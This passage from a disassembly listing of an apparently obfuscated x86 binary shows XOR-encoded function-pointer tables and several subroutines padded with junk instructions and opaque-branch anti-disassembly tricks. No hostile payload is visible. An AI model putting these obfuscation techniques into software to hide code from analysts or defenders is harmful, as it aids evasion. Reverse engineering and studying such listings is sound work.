dword_4F3828, edx mov eax, offset sub_49F478 xor eax, dword_4ED2D4 xor eax, dword_4ED320 mov dword_4F382C, eax mov ecx, offset sub_49A702 xor ecx, dword_4ED2D4 xor ecx, dword_4ED324 mov dword_4F3830, ecx mov edx, offset sub_4A2138 xor edx, dword_4ED2D4 xor edx, dword_4ED328 mov dword_4F3834, edx mov eax, offset sub_4A2AC5 xor eax, dword_4ED2D4 xor eax, dword_4ED32C mov dword_4F3838, eax mov ecx, offset sub_4A0F6F xor ecx, dword_4ED2D4 xor ecx, dword_4ED330 mov dword_4F383C, ecx mov edx, offset sub_49C5D4 xor edx, dword_4ED2D4 xor edx, dword_4ED334 mov dword_4F3840, edx mov eax, offset sub_49FFBA xor eax, dword_4ED2D4 xor eax, dword_4ED338 mov dword_4F3844, eax mov ecx, offset sub_499AF4 xor ecx, dword_4ED2D4 xor ecx, dword_4ED33C mov dword_4F3848, ecx mov edx, offset sub_49591C xor edx, dword_4ED2D4 xor edx, dword_4ED340 mov dword_4F384C, edx mov eax, offset sub_49B95C xor eax, dword_4ED2D8 xor eax, dword_4ED2CC mov dword_4F3850, eax mov ecx, offset sub_49A9A8 xor ecx, dword_4ED2D8 xor ecx, dword_4ED2D0 mov dword_4F3854, ecx mov edx, offset sub_49F983 xor edx, dword_4ED2D8 xor edx, dword_4ED2D4 mov dword_4F3858, edx mov eax, offset sub_49961E xor eax, dword_4ED2D8 xor eax, dword_4ED2DC mov dword_4F385C, eax mov ecx, offset sub_49C7E4 xor ecx, dword_4ED2D8 xor ecx, dword_4ED2DC mov dword_4F3860, ecx mov edx, offset sub_49A789 xor edx, dword_4ED2D8 xor edx, dword_4ED2E0 mov dword_4F3864, edx mov eax, offset sub_4A2083 xor eax, dword_4ED2D8 xor eax, dword_4ED2E4 mov dword_4F3868, eax mov ecx, offset sub_49DDD2 xor ecx, dword_4ED2D8 xor ecx, dword_4ED2E8 mov dword_4F386C, ecx mov edx, offset sub_49B322 xor edx, dword_4ED2D8 xor edx, dword_4ED2EC mov dword_4F3870, edx mov eax, offset sub_499ED8 xor eax, dword_4ED2D8 xor eax, dword_4ED2F0 mov dword_4F3874, eax mov ecx, offset sub_495547 xor ecx, dword_4ED2D8 xor ecx, dword_4ED2F4 mov dword_4F3878, ecx mov edx, offset sub_49A84F xor edx, dword_4ED2D8 xor edx, dword_4ED2F8 mov dword_4F387C, edx mov eax, offset sub_49EBC7 xor eax, dword_4ED2D8 xor eax, dword_4ED2FC mov dword_4F3880, eax mov ecx, offset sub_4954BD xor ecx, dword_4ED2D8 xor ecx, dword_4ED300 mov dword_4F3884, ecx mov edx, offset sub_49BEF2 xor edx, dword_4ED2D8 xor edx, dword_4ED304 mov dword_4F3888, edx mov eax, offset sub_49B14F xor eax, dword_4ED2D8 xor eax, dword_4ED308 mov dword_4F388C, eax mov ecx, offset sub_4A2956 xor ecx, dword_4ED2D8 xor ecx, dword_4ED30C mov dword_4F3890, ecx mov edx, offset sub_4A0C75 xor edx, dword_4ED2D8 xor edx, dword_4ED310 mov dword_4F3894, edx mov eax, offset sub_498DD8 xor eax, dword_4ED2D8 xor eax, dword_4ED314 mov dword_4F3898, eax mov ecx, offset sub_498EB8 xor ecx, dword_4ED2D8 xor ecx, dword_4ED318 mov dword_4F389C, ecx mov edx, offset sub_4A1925 xor edx, dword_4ED2D8 xor edx, dword_4ED31C mov dword_4F38A0, edx mov eax, offset sub_4959C8 xor eax, dword_4ED2D8 xor eax, dword_4ED320 mov dword_4F38A4, eax mov ecx, offset sub_49EF50 xor ecx, dword_4ED2D8 xor ecx, dword_4ED324 mov dword_4F38A8, ecx mov edx, offset sub_4980E0 xor edx, dword_4ED2D8 xor edx, dword_4ED328 mov dword_4F38AC, edx mov eax, offset sub_49DBDA xor eax, dword_4ED2D8 xor eax, dword_4ED32C mov dword_4F38B0, eax mov ecx, offset sub_49568F xor ecx, dword_4ED2D8 xor ecx, dword_4ED330 mov dword_4F38B4, ecx mov edx, offset sub_4A0875 xor edx, dword_4ED2D8 xor edx, dword_4ED334 mov dword_4F38B8, edx mov eax, offset sub_4A3527 xor eax, dword_4ED2D8 xor eax, dword_4ED338 mov dword_4F38BC, eax mov ecx, offset sub_49D65B xor ecx, dword_4ED2D8 xor ecx, dword_4ED33C mov dword_4F38C0, ecx mov edx, offset sub_49F54E xor edx, dword_4ED2D8 xor edx, dword_4ED340 mov dword_4F38C4, edx mov eax, offset sub_4A2EAD xor eax, dword_4ED2DC xor eax, dword_4ED2CC mov dword_4F38C8, eax mov ecx, offset sub_4A1FE3 xor ecx, dword_4ED2DC xor ecx, dword_4ED2D0 mov dword_4F38CC, ecx mov edx, offset sub_4A120D xor edx, dword_4ED2DC xor edx, dword_4ED2D4 mov dword_4F38D0, edx mov eax, offset sub_49D9C7 xor eax, dword_4ED2DC xor eax, dword_4ED2D8 mov dword_4F38D4, eax mov ecx, offset sub_4A174B xor ecx, dword_4ED2DC xor ecx, dword_4ED2E0 mov dword_4F38D8, ecx mov edx, offset sub_4961D1 xor edx, dword_4ED2DC xor edx, dword_4ED2E0 mov dword_4F38DC, edx mov eax, offset sub_4A2605 xor eax, dword_4ED2DC xor eax, dword_4ED2E4 mov dword_4F38E0, eax mov ecx, offset sub_498B94 xor ecx, dword_4ED2DC xor ecx, dword_4ED2E8 mov dword_4F38E4, ecx mov edx, offset sub_49FA2C xor edx, dword_4ED2DC xor edx, dword_4ED2EC mov dword_4F38E8, edx mov eax, offset sub_4A10E7 xor eax, dword_4ED2DC xor eax, dword_4ED2F0 mov dword_4F38EC, eax mov ecx, offset sub_4A0EBB xor ecx, dword_4ED2DC xor ecx, dword_4ED2F4 mov dword_4F38F0, ecx mov edx, offset sub_49D360 xor edx, dword_4ED2DC xor edx, dword_4ED2F8 mov dword_4F38F4, edx mov eax, offset sub_4A19CF xor eax, dword_4ED2DC xor eax, dword_4ED2FC mov dword_4F38F8, eax mov ecx, offset sub_49D446 xor ecx, dword_4ED2DC xor ecx, dword_4ED300 mov dword_4F38FC, ecx mov edx, offset sub_4A1A72 xor edx, dword_4ED2DC xor edx, dword_4ED304 mov dword_4F3900, edx mov eax, offset sub_49C177 xor eax, dword_4ED2DC xor eax, dword_4ED308 mov dword_4F3904, eax mov ecx, offset sub_49850A xor ecx, dword_4ED2DC xor ecx, dword_4ED30C mov dword_4F3908, ecx mov edx, offset sub_49B29C xor edx, dword_4ED2DC xor edx, dword_4ED310 mov dword_4F390C, edx mov eax, offset sub_49B1F8 xor eax, dword_4ED2DC xor eax, dword_4ED314 mov dword_4F3910, eax mov ecx, offset sub_4A2579 xor ecx, dword_4ED2DC xor ecx, dword_4ED318 mov dword_4F3914, ecx mov edx, offset sub_49B7FC xor edx, dword_4ED2DC xor edx, dword_4ED31C mov dword_4F3918, edx mov eax, offset sub_4A0DD4 xor eax, dword_4ED2DC xor eax, dword_4ED320 mov dword_4F391C, eax mov ecx, offset sub_496126 xor ecx, dword_4ED2DC xor ecx, dword_4ED324 mov dword_4F3920, ecx mov edx, offset sub_49F152 xor edx, dword_4ED2DC xor edx, dword_4ED328 mov dword_4F3924, edx mov eax, offset sub_4955CD xor eax, dword_4ED2DC xor eax, dword_4ED32C mov dword_4F3928, eax mov ecx, offset sub_49CB87 xor ecx, dword_4ED2DC xor ecx, dword_4ED330 mov dword_4F392C, ecx mov edx, offset sub_49E7E2 xor edx, dword_4ED2DC xor edx, dword_4ED334 mov dword_4F3930, edx mov eax, offset sub_49AF99 xor eax, dword_4ED2DC xor eax, dword_4ED338 mov dword_4F3934, eax mov ecx, offset sub_49DB26 xor ecx, dword_4ED2DC xor ecx, dword_4ED33C mov dword_4F3938, ecx mov edx, offset sub_4A305B xor edx, dword_4ED2DC xor edx, dword_4ED340 mov dword_4F393C, edx mov eax, offset sub_4991C7 xor eax, dword_4ED2E0 xor eax, dword_4ED2CC mov dword_4F3940, eax mov ecx, offset sub_49EDE3 xor ecx, dword_4ED2E0 xor ecx, dword_4ED2D0 mov dword_4F3944, ecx mov edx, offset sub_49BD56 xor edx, dword_4ED2E0 xor edx, dword_4ED2D4 mov dword_4F3948, edx mov eax, offset sub_49818A xor eax, dword_4ED2E0 xor eax, dword_4ED2D8 mov dword_4F394C, eax mov ecx, offset sub_49AC45 xor ecx, dword_4ED2E0 xor ecx, dword_4ED2DC mov dword_4F3950, ecx mov edx, offset sub_4A17F2 xor edx, dword_4ED2E0 xor edx, dword_4ED2E4 mov dword_4F3954, edx mov eax, offset sub_497D6E xor eax, dword_4ED2E0 xor eax, dword_4ED2E4 mov dword_4F3958, eax mov ecx, offset sub_499701 xor ecx, dword_4ED2E0 xor ecx, dword_4ED2E8 mov dword_4F395C, ecx mov edx, offset sub_4A1875 xor edx, dword_4ED2E0 xor edx, dword_4ED2EC mov dword_4F3960, edx mov eax, offset sub_4A1B8A xor eax, dword_4ED2E0 xor eax, dword_4ED2F0 mov dword_4F3964, eax mov ecx, offset sub_498423 xor ecx, dword_4ED2E0 xor ecx, dword_4ED2F4 mov dword_4F3968, ecx mov edx, offset sub_499E2C xor edx, dword_4ED2E0 xor edx, dword_4ED2F8 mov dword_4F396C, edx mov eax, offset sub_498865 xor eax, dword_4ED2E0 xor eax, dword_4ED2FC mov dword_4F3970, eax mov ecx, offset sub_49E4C9 xor ecx, dword_4ED2E0 xor ecx, dword_4ED300 mov dword_4F3974, ecx mov edx, offset sub_49C675 xor edx, dword_4ED2E0 xor edx, dword_4ED304 mov dword_4F3978, edx mov eax, offset sub_4953F2 xor eax, dword_4ED2E0 xor eax, dword_4ED308 mov dword_4F397C, eax mov ecx, offset sub_49E703 xor ecx, dword_4ED2E0 xor ecx, dword_4ED30C mov dword_4F3980, ecx mov edx, offset sub_49F6DA xor edx, dword_4ED2E0 xor edx, dword_4ED310 mov dword_4F3984, edx mov eax, offset sub_4A33B5 xor eax, dword_4ED2E0 xor eax, dword_4ED314 mov dword_4F3988, eax mov ecx, offset sub_4A30FC xor ecx, dword_4ED2E0 xor ecx, dword_4ED318 mov dword_4F398C, ecx mov edx, offset sub_49A91B xor edx, dword_4ED2E0 xor edx, dword_4ED31C mov dword_4F3990, edx mov eax, offset sub_4A013E xor eax, dword_4ED2E0 xor eax, dword_4ED320 mov dword_4F3994, eax mov ecx, offset sub_4A118D xor ecx, dword_4ED2E0 xor ecx, dword_4ED324 mov dword_4F3998, ecx mov edx, offset sub_499D89 xor edx, dword_4ED2E0 xor edx, dword_4ED328 mov dword_4F399C, edx mov eax, offset sub_49DC90 xor eax, dword_4ED2E0 xor eax, dword_4ED32C mov dword_4F39A0, eax mov ecx, offset sub_499502 xor ecx, dword_4ED2E0 xor ecx, dword_4ED330 mov dword_4F39A4, ecx mov edx, offset sub_495DD2 xor edx, dword_4ED2E0 xor edx, dword_4ED334 mov dword_4F39A8, edx mov eax, offset sub_499304 xor eax, dword_4ED2E0 xor eax, dword_4ED338 mov dword_4F39AC, eax mov ecx, offset sub_49F3CF xor ecx, dword_4ED2E0 xor ecx, dword_4ED33C mov dword_4F39B0, ecx mov edx, offset sub_499022 xor edx, dword_4ED2E0 xor edx, dword_4ED340 mov dword_4F39B4, edx mov eax, offset sub_49BA7B xor eax, dword_4ED2E4 xor eax, dword_4ED2CC mov dword_4F39B8, eax mov ecx, offset sub_49E0DC xor ecx, dword_4ED2E4 xor ecx, dword_4ED2D0 mov dword_4F39BC, ecx mov edx, offset sub_49BE38 xor edx, dword_4ED2E4 xor edx, dword_4ED2D4 mov dword_4F39C0, edx mov eax, offset sub_49AB5B xor eax, dword_4ED2E4 xor eax, dword_4ED2D8 mov dword_4F39C4, eax mov ecx, offset sub_49CDBB xor ecx, dword_4ED2E4 xor ecx, dword_4ED2DC mov dword_4F39C8, ecx mov edx, offset sub_49C3E1 xor edx, dword_4ED2E4 xor edx, dword_4ED2E0 mov dword_4F39CC, edx mov eax, offset sub_49942C xor eax, dword_4ED2E4 xor eax, dword_4ED2E8 mov dword_4F39D0, eax mov ecx, offset sub_495D4D xor ecx, dword_4ED2E4 xor ecx, dword_4ED2E8 mov dword_4F39D4, ecx mov edx, offset sub_499942 xor edx, dword_4ED2E4 xor edx, dword_4ED2EC mov dword_4F39D8, edx mov eax, offset sub_49D7B9 xor eax, dword_4ED2E4 xor eax, dword_4ED2F0 mov dword_4F39DC, eax mov ecx, offset sub_4A135E xor ecx, dword_4ED2E4 xor ecx, dword_4ED2F4 mov dword_4F39E0, ecx mov edx, offset sub_49FBD3 xor edx, dword_4ED2E4 xor edx, dword_4ED2F8 mov dword_4F39E4, edx mov eax, offset sub_4997AD xor eax, dword_4ED2E4 xor eax, dword_4ED2FC mov dword_4F39E8, eax mov ecx, offset sub_49C24E xor ecx, dword_4ED2E4 xor ecx, dword_4ED300 mov dword_4F39EC, ecx mov edx, offset sub_49E21F xor edx, dword_4ED2E4 xor edx, dword_4ED304 mov dword_4F39F0, edx mov eax, offset sub_4A008B xor eax, dword_4ED2E4 xor eax, dword_4ED308 mov dword_4F39F4, eax mov ecx, offset sub_49A2FF xor ecx, dword_4ED2E4 xor ecx, dword_4ED30C mov dword_4F39F8, ecx mov edx, offset sub_4951DA xor edx, dword_4ED2E4 xor edx, dword_4ED310 mov dword_4F39FC, edx mov eax, offset sub_498792 xor eax, dword_4ED2E4 xor eax, dword_4ED314 mov dword_4F3A00, eax mov ecx, offset sub_49A102 xor ecx, dword_4ED2E4 xor ecx, dword_4ED318 mov dword_4F3A04, ecx mov edx, offset sub_49BC4B xor edx, dword_4ED2E4 xor edx, dword_4ED31C mov dword_4F3A08, edx mov eax, offset sub_49A384 xor eax, dword_4ED2E4 xor eax, dword_4ED320 mov dword_4F3A0C, eax mov ecx, offset sub_49512C xor ecx, dword_4ED2E4 xor ecx, dword_4ED324 mov dword_4F3A10, ecx mov edx, offset sub_4A0D39 xor edx, dword_4ED2E4 xor edx, dword_4ED328 mov dword_4F3A14, edx mov eax, offset sub_49B5EE xor eax, dword_4ED2E4 xor eax, dword_4ED32C mov dword_4F3A18, eax mov ecx, offset sub_4A1D38 xor ecx, dword_4ED2E4 xor ecx, dword_4ED330 mov dword_4F3A1C, ecx mov edx, offset sub_49E2E4 xor edx, dword_4ED2E4 xor edx, dword_4ED334 mov dword_4F3A20, edx mov eax, offset sub_49E56E xor eax, dword_4ED2E4 xor eax, dword_4ED338 mov dword_4F3A24, eax mov ecx, offset sub_4A0717 xor ecx, dword_4ED2E4 xor ecx, dword_4ED33C mov dword_4F3A28, ecx mov edx, offset sub_495743 xor edx, dword_4ED2E4 xor edx, dword_4ED340 mov dword_4F3A2C, edx mov eax, offset sub_4A28AC xor eax, dword_4ED2E8 xor eax, dword_4ED2CC mov dword_4F3A30, eax mov ecx, offset sub_499589 xor ecx, dword_4ED2E8 xor ecx, dword_4ED2D0 mov dword_4F3A34, ecx mov edx, offset sub_49FC5D xor edx, dword_4ED2E8 xor edx, dword_4ED2D4 mov dword_4F3A38, edx mov eax, offset sub_4A041E xor eax, dword_4ED2E8 xor eax, dword_4ED2D8 mov dword_4F3A3C, eax mov ecx, offset sub_49DF6B xor ecx, dword_4ED2E8 xor ecx, dword_4ED2DC mov dword_4F3A40, ecx mov edx, offset sub_49EA3A xor edx, dword_4ED2E8 xor edx, dword_4ED2E0 mov dword_4F3A44, edx mov eax, offset sub_49EC69 xor eax, dword_4ED2E8 xor eax, dword_4ED2E4 mov dword_4F3A48, eax mov ecx, offset sub_4A0919 xor ecx, dword_4ED2E8 xor ecx, dword_4ED2EC mov dword_4F3A4C, ecx mov edx, offset sub_49FD2C xor edx, dword_4ED2E8 xor edx, dword_4ED2EC mov dword_4F3A50, edx mov eax, offset sub_498A8F xor eax, dword_4ED2E8 xor eax, dword_4ED2F0 mov dword_4F3A54, eax mov ecx, offset sub_4A12D7 xor ecx, dword_4ED2E8 xor ecx, dword_4ED2F4 mov dword_4F3A58, ecx mov edx, offset sub_49F8CA xor edx, dword_4ED2E8 xor edx, dword_4ED2F8 mov dword_4F3A5C, edx mov eax, offset sub_4A2A29 xor eax, dword_4ED2E8 xor eax, dword_4ED2FC mov dword_4F3A60, eax mov ecx, offset sub_4A1F6A xor ecx, dword_4ED2E8 xor ecx, dword_4ED300 mov dword_4F3A64, ecx mov edx, offset sub_495329 xor edx, dword_4ED2E8 xor edx, dword_4ED304 mov dword_4F3A68, edx mov eax, offset sub_4A101A xor eax, dword_4ED2E8 xor eax, dword_4ED308 mov dword_4F3A6C, eax mov ecx, offset sub_49D0AC xor ecx, dword_4ED2E8 xor ecx, dword_4ED30C mov dword_4F3A70, ecx mov edx, offset sub_4A2494 xor edx, dword_4ED2E8 xor edx, dword_4ED310 mov dword_4F3A74, edx mov eax, offset sub_4A2806 xor eax, dword_4ED2E8 xor eax, dword_4ED314 mov dword_4F3A78, eax mov ecx, offset sub_49B0A6 xor ecx, dword_4ED2E8 xor ecx, dword_4ED318 mov dword_4F3A7C, ecx mov edx, offset sub_4A349B xor edx, dword_4ED2E8 xor edx, dword_4ED31C mov dword_4F3A80, edx mov eax, offset sub_49E436 xor eax, dword_4ED2E8 xor eax, dword_4ED320 mov dword_4F3A84, eax mov ecx, offset sub_4A326F xor ecx, dword_4ED2E8 xor ecx, dword_4ED324 mov dword_4F3A88, ecx mov edx, offset sub_4A0331 xor edx, dword_4ED2E8 xor edx, dword_4ED328 mov dword_4F3A8C, edx mov eax, offset sub_49D923 xor eax, dword_4ED2E8 xor eax, dword_4ED32C mov dword_4F3A90, eax mov ecx, offset sub_4A064A xor ecx, dword_4ED2E8 xor ecx, dword_4ED330 mov dword_4F3A94, ecx mov edx, offset sub_49D00C xor edx, dword_4ED2E8 xor edx, dword_4ED334 mov dword_4F3A98, edx mov eax, offset sub_4A14D9 xor eax, dword_4ED2E8 xor eax, dword_4ED338 mov dword_4F3A9C, eax mov ecx, offset sub_4A0BE5 xor ecx, dword_4ED2E8 xor ecx, dword_4ED33C mov dword_4F3AA0, ecx mov edx, offset sub_49F5DF xor edx, dword_4ED2E8 xor edx, dword_4ED340 mov dword_4F3AA4, edx mov eax, offset sub_49C2F1 xor eax, dword_4ED2EC xor eax, dword_4ED2CC mov dword_4F3AA8, eax mov ecx, offset sub_4986BC xor ecx, dword_4ED2EC xor ecx, dword_4ED2D0 mov dword_4F3AAC, ecx mov edx, offset sub_497C2D xor edx, dword_4ED2EC xor edx, dword_4ED2D4 mov dword_4F3AB0, edx mov eax, offset sub_49CF72 xor eax, dword_4ED2EC xor eax, dword_4ED2D8 mov dword_4F3AB4, eax mov ecx, offset sub_49910F xor ecx, dword_4ED2EC xor ecx, dword_4ED2DC mov dword_4F3AB8, ecx mov edx, offset sub_4A1DE4 xor edx, dword_4ED2EC xor edx, dword_4ED2E0 mov dword_4F3ABC, edx mov eax, offset sub_497F97 xor eax, dword_4ED2EC xor eax, dword_4ED2E4 mov dword_4F3AC0, eax mov ecx, offset sub_495B49 xor ecx, dword_4ED2EC xor ecx, dword_4ED2E8 mov dword_4F3AC4, ecx mov edx, offset sub_4A1576 xor edx, dword_4ED2EC xor edx, dword_4ED2F0 mov dword_4F3AC8, edx mov eax, offset sub_49EE78 xor eax, dword_4ED2EC xor eax, dword_4ED2F0 mov dword_4F3ACC, eax mov ecx, offset sub_49EFD8 xor ecx, dword_4ED2EC xor ecx, dword_4ED2F4 mov dword_4F3AD0, ecx mov edx, offset sub_49B525 xor edx, dword_4ED2EC xor edx, dword_4ED2F8 mov dword_4F3AD4, edx pop ebp retn sub_4965D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_497C2D proc near ; DATA XREF: sub_4965D8+1570o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh and bh, 0 and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D8 xor ecx, dword_4ED3DC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_497CB8 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_497CB8: ; CODE XREF: sub_497C2D+80j mov eax, [ebp+var_8] push eax call off_4F1D30 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_497C2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_497CCC proc near ; DATA XREF: sub_4965D8+1B1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 40h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx jo short loc_497D05 jl short loc_497D03 loc_497D00: ; CODE XREF: sub_497CCC:loc_497D03j ; sub_497CCC:loc_497D05j jmp short loc_497D07 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_497D03: ; CODE XREF: sub_497CCC+32j jz short loc_497D00 loc_497D05: ; CODE XREF: sub_497CCC+30j jmp short loc_497D00 ; --------------------------------------------------------------------------- loc_497D07: ; CODE XREF: sub_497CCC:loc_497D00j xor eax, eax inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl and ecx, 40h jo short loc_497D21 jl short loc_497D1F loc_497D1C: ; CODE XREF: sub_497CCC:loc_497D1Fj ; sub_497CCC:loc_497D21j jmp short loc_497D23 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_497D1F: ; CODE XREF: sub_497CCC+4Ej jz short loc_497D1C loc_497D21: ; CODE XREF: sub_497CCC+4Cj jmp short loc_497D1C ; --------------------------------------------------------------------------- loc_497D23: ; CODE XREF: sub_497CCC:loc_497D1Cj inc eax inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx pop ecx mov [ebp+var_C], eax mov ecx, dword_4ED3F8 xor ecx, dword_4ED3FC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_497D5A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_497D5A: ; CODE XREF: sub_497CCC+83j mov eax, [ebp+var_8] push eax call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_497CCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_497D6E proc near ; DATA XREF: sub_4965D8+DD3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 7Fh pop ecx dec ecx xor ecx, 7Eh and al, cl mov bh, 0Fh and bl, 0 dec bh jo short loc_497DAE jl short loc_497DAC loc_497DA7: ; CODE XREF: sub_497D6E:loc_497DACj ; sub_497D6E:loc_497DAEj jmp short loc_497DB0 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_497DAC: ; CODE XREF: sub_497D6E+37j jz short loc_497DA7 loc_497DAE: ; CODE XREF: sub_497D6E+35j jmp short loc_497DA7 ; --------------------------------------------------------------------------- loc_497DB0: ; CODE XREF: sub_497D6E:loc_497DA7j sub bh, 6 jo short loc_497DBE jl short loc_497DBC loc_497DB7: ; CODE XREF: sub_497D6E:loc_497DBCj ; sub_497D6E:loc_497DBEj jmp short loc_497DC0 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_497DBC: ; CODE XREF: sub_497D6E+47j jz short loc_497DB7 loc_497DBE: ; CODE XREF: sub_497D6E+45j jmp short loc_497DB7 ; --------------------------------------------------------------------------- loc_497DC0: ; CODE XREF: sub_497D6E:loc_497DB7j and ah, bh pop ecx pop ebx test eax, eax jz short loc_497DD0 not eax add eax, 1 stc jmp short loc_497DD6 ; --------------------------------------------------------------------------- loc_497DD0: ; CODE XREF: sub_497D6E+58j not eax add eax, 1 clc loc_497DD6: ; CODE XREF: sub_497D6E+60j sbb eax, eax add eax, 1 mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_497DFE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_497DFE: ; CODE XREF: sub_497D6E+85j mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_497D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_497E12 proc near ; DATA XREF: sub_4965D8+6D4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx pop edx test eax, eax jnz loc_497F5D mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl pop ecx pop ebx neg eax sbb eax, eax inc eax mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_497F1C jl short loc_497F1A loc_497F15: ; CODE XREF: sub_497E12:loc_497F1Aj ; sub_497E12:loc_497F1Cj jmp short loc_497F1E ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_497F1A: ; CODE XREF: sub_497E12+101j jz short loc_497F15 loc_497F1C: ; CODE XREF: sub_497E12+FFj jmp short loc_497F15 ; --------------------------------------------------------------------------- loc_497F1E: ; CODE XREF: sub_497E12:loc_497F15j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 3 dec dh sub dh, 7 dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_497F5D and eax, 0 inc eax jmp short loc_497F60 ; --------------------------------------------------------------------------- loc_497F5D: ; CODE XREF: sub_497E12+69j ; sub_497E12+143j and eax, 0 loc_497F60: ; CODE XREF: sub_497E12+149j mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_497F83 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_497F83: ; CODE XREF: sub_497E12+166j mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_497E12 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_497F97 proc near ; DATA XREF: sub_4965D8+15CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 100h pop ebx dec bh jo short loc_497FCD jl short loc_497FCB loc_497FC8: ; CODE XREF: sub_497F97:loc_497FCBj ; sub_497F97:loc_497FCDj jmp short loc_497FCF ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_497FCB: ; CODE XREF: sub_497F97+2Fj jz short loc_497FC8 loc_497FCD: ; CODE XREF: sub_497F97+2Dj jmp short loc_497FC8 ; --------------------------------------------------------------------------- loc_497FCF: ; CODE XREF: sub_497F97:loc_497FC8j add bh, 0FFh add bh, 0FFh add bh, 0FFh add bh, 0FFh inc bh inc bh inc bh inc bh and ah, bh jo short loc_497FEE jl short loc_497FEC loc_497FE9: ; CODE XREF: sub_497F97:loc_497FECj ; sub_497F97:loc_497FEEj jmp short loc_497FF0 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_497FEC: ; CODE XREF: sub_497F97+50j jz short loc_497FE9 loc_497FEE: ; CODE XREF: 